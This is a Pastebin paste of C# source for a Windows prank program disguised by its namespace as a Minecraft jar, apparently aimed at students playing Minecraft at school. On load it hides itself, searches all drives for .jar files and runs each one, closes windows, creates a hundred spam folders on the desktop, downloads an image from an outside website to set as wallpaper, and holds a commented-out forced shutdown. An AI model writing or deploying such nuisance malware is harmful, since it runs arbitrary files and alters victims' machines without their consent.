Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Text;
- using System.Windows.Forms;
- using Shell32;
- using System.Security.Principal;
- using System.Net;
- using System.IO;
- using System.Runtime.InteropServices;
- using System.Diagnostics;
- namespace Minecraft_1._5._2.jar
- {
- public partial class Form1 : Form
- {
- bool isthere = false;
- [DllImport("user32.dll", EntryPoint = "SystemParametersInfo")]
- public static extern int SystemParametersInfo(UAction uAction, int uParam, StringBuilder lpvParam, int fuWinIni);
- //public static string[] GetFiles(string path, string searchPattern, System.IO.SearchOption searchOption);
- public enum UAction
- {
- SPI_SETDESKWALLPAPER = 0x0014,
- SPI_GETDESKWALLPAPER = 0x0073,
- }
- public Form1()
- {
- InitializeComponent();
- }
- private void Form1_Load(object sender, EventArgs e)
- {
- this.Hide();
- DriveInfo[] allDrive = DriveInfo.GetDrives();
- foreach (DriveInfo d in allDrive)
- {
- string b = d.Name.ToString();
- try
- {
- var filename = Directory.GetFiles(b, "*.jar", SearchOption.AllDirectories);
- foreach (string a in filename)
- {
- MessageBox.Show(a);
- ProcessStartInfo startInfo = new ProcessStartInfo();
- startInfo.FileName = a;
- Process.Start(startInfo);
- }
- }
- catch (Exception)
- {
- }
- }
- //MC is running now
- if (isthere == true) //if mc was found
- {
- System.Threading.Thread.Sleep(120000); //sleeps for 2 minutes, have fun gamer
- }
- else
- {
- MessageBox.Show("sorry gamer", "ungamer", MessageBoxButtons.OK, MessageBoxIcon.Hand);
- //sorry gamer, no mc for you
- }
- SendKeys.Send("%{F4}");
- Shell shellObject = new Shell();
- shellObject.ToggleDesktop();
- //var secretfolder = Directory.CreateDirectory(@"C:\Windows\System32\AAA Sorry gamer");
- string userName = Environment.UserName;
- for (int i = 0; i <= 100; i++)
- {
- var spamfolders = Directory.CreateDirectory(@"C:\Users\" + userName + "\\Desktop\\No MC in school gamer " + i);
- }
- var folder = Directory.CreateDirectory(@"C:\sorrygamer"); //creates sorrygamer folder in C drive*****
- String url = "https://wallpapercave.com/wp/mucvBBU.jpg";
- using (WebClient client = new WebClient())
- {
- client.DownloadFile(new Uri(url), @"C:\sorrygamer\noplayingminecraftinschoolgamer.jpg");
- }
- StringBuilder s = new StringBuilder(@"C:\sorrygamer\noplayingminecraftinschoolgamer.jpg"); //build string for background
- int poopee = SystemParametersInfo(UAction.SPI_SETDESKWALLPAPER, 0, s, 0x2); //change background
- System.Threading.Thread.Sleep(5000);
- var psi = new ProcessStartInfo("shutdown", "/s /t 0"); //shutdown
- psi.CreateNoWindow = true;
- psi.UseShellExecute = false;
- //Process.Start(psi); //shutdown command
- Application.Exit();
- } //end shutdown
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement